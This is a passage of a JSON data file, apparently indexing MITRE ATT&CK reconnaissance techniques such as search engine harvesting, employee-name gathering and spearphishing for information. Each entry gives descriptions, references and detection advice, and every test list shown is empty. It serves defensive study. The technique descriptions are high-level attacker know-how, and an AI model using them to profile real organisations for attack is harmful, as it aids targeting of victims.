- "created": "2020-10-02T16:01:35.350Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1590.006",
- "url": "https://attack.mitre.org/techniques/T1590/006"
- },
- {
- "source_name": "Nmap Firewalls NIDS",
- "url": "https://nmap.org/book/firewalls.html",
- "description": "Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:31:54.275Z",
- "name": "Network Security Appliances",
- "description": "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1593.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968",
- "type": "attack-pattern",
- "created": "2020-10-02T16:50:12.809Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1593.002",
- "url": "https://attack.mitre.org/techniques/T1593/002"
- },
- {
- "source_name": "SecurityTrails Google Hacking",
- "url": "https://securitytrails.com/blog/google-hacking-techniques",
- "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020."
- },
- {
- "source_name": "ExploitDB GoogleHacking",
- "url": "https://www.exploit-db.com/google-hacking-database",
- "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020."
- }
- ],
- "modified": "2021-04-15T03:52:06.960Z",
- "name": "Search Engines",
- "description": "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1591.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f",
- "type": "attack-pattern",
- "created": "2020-10-02T16:27:55.713Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1591.002",
- "url": "https://attack.mitre.org/techniques/T1591/002"
- },
- {
- "source_name": "ThreatPost Broadvoice Leak",
- "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
- "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:36:58.964Z",
- "name": "Business Relationships",
- "description": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1589.003": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156",
- "type": "attack-pattern",
- "created": "2020-10-02T14:57:15.906Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1589.003",
- "url": "https://attack.mitre.org/techniques/T1589/003"
- },
- {
- "source_name": "OPM Leak",
- "url": "https://www.opm.gov/cybersecurity/cybersecurity-incidents/",
- "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:27:49.437Z",
- "name": "Employee Names",
- "description": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1592.004": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c",
- "type": "attack-pattern",
- "created": "2020-10-02T16:47:16.719Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1592.004",
- "url": "https://attack.mitre.org/techniques/T1592/004"
- },
- {
- "source_name": "ATT ScanBox",
- "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
- "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-17T16:35:09.668Z",
- "name": "Client Configurations",
- "description": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect client configuration information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1598.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Philip Winther",
- "Sebastian Salla, McAfee",
- "Robert Simmons, @MalwareUtkonos"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc",
- "type": "attack-pattern",
- "created": "2020-10-02T17:08:57.386Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1598.002",
- "url": "https://attack.mitre.org/techniques/T1598/002"
- },
- {
- "source_name": "Sophos Attachment",
- "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/",
- "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020."
- },
- {
- "source_name": "GitHub Phishery",
- "url": "https://github.com/ryhanson/phishery",
- "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020."
- },
- {
- "source_name": "Microsoft Anti Spoofing",
- "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
- "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."
- },
- {
- "source_name": "ACSC Email Spoofing",
- "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
- "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."
- }
- ],
- "modified": "2021-04-15T03:41:33.335Z",
- "name": "Spearphishing Attachment",
- "description": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content",
- "Application Log: Application Log Content"
- ]
- },
- "atomic_tests": []
- },
- "T1596.004": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75",
- "type": "attack-pattern",
- "created": "2020-10-02T16:59:56.648Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1596.004",
- "url": "https://attack.mitre.org/techniques/T1596/004"
- },
- {
- "source_name": "DigitalShadows CDN",
- "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/",
- "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:47:55.905Z",
- "name": "CDNs",
- "description": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1591": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23",
- "type": "attack-pattern",
- "created": "2020-10-02T16:27:02.339Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1591",
- "url": "https://attack.mitre.org/techniques/T1591"
- },
- {
- "source_name": "ThreatPost Broadvoice Leak",
- "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
- "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."
- },
- {
- "source_name": "SEC EDGAR Search",
- "url": "https://www.sec.gov/edgar/search-and-access",
- "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021."
- }
- ],
- "modified": "2021-08-27T15:37:09.343Z",
- "name": "Gather Victim Org Information",
- "description": "Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1590": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109",
- "type": "attack-pattern",
- "created": "2020-10-02T15:45:17.628Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1590",
- "url": "https://attack.mitre.org/techniques/T1590"
- },
- {
- "source_name": "WHOIS",
- "url": "https://www.whois.net/",
- "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."
- },
- {
- "source_name": "DNS Dumpster",
- "url": "https://dnsdumpster.com/",
- "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
- },
- {
- "source_name": "Circl Passive DNS",
- "url": "https://www.circl.lu/services/passive-dns/",
- "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:34:23.229Z",
- "name": "Gather Victim Network Information",
- "description": "Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1593": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365",
- "type": "attack-pattern",
- "created": "2020-10-02T16:48:04.509Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1593",
- "url": "https://attack.mitre.org/techniques/T1593"
- },
- {
- "source_name": "Cyware Social Media",
- "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e",
- "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020."
- },
- {
- "source_name": "SecurityTrails Google Hacking",
- "url": "https://securitytrails.com/blog/google-hacking-techniques",
- "description": "Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved October 20, 2020."
- },
- {
- "source_name": "ExploitDB GoogleHacking",
- "url": "https://www.exploit-db.com/google-hacking-database",
- "description": "Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020."
- }
- ],
- "modified": "2021-04-15T03:52:41.104Z",
- "name": "Search Open Websites/Domains",
- "description": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1597": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4",
- "type": "attack-pattern",
- "created": "2020-10-02T17:01:42.558Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1597",
- "url": "https://attack.mitre.org/techniques/T1597"
- },
- {
- "source_name": "D3Secutrity CTI Feeds",
- "url": "https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/",
- "description": "Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020."
- },
- {
- "source_name": "ZDNET Selling Data",
- "url": "https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/",
- "description": "Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:45:31.020Z",
- "name": "Search Closed Sources",
- "description": "Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data)\n\nAdversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1592.003": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d",
- "type": "attack-pattern",
- "created": "2020-10-02T16:46:42.537Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1592.003",
- "url": "https://attack.mitre.org/techniques/T1592/003"
- },
- {
- "source_name": "ArsTechnica Intel",
- "url": "https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/",
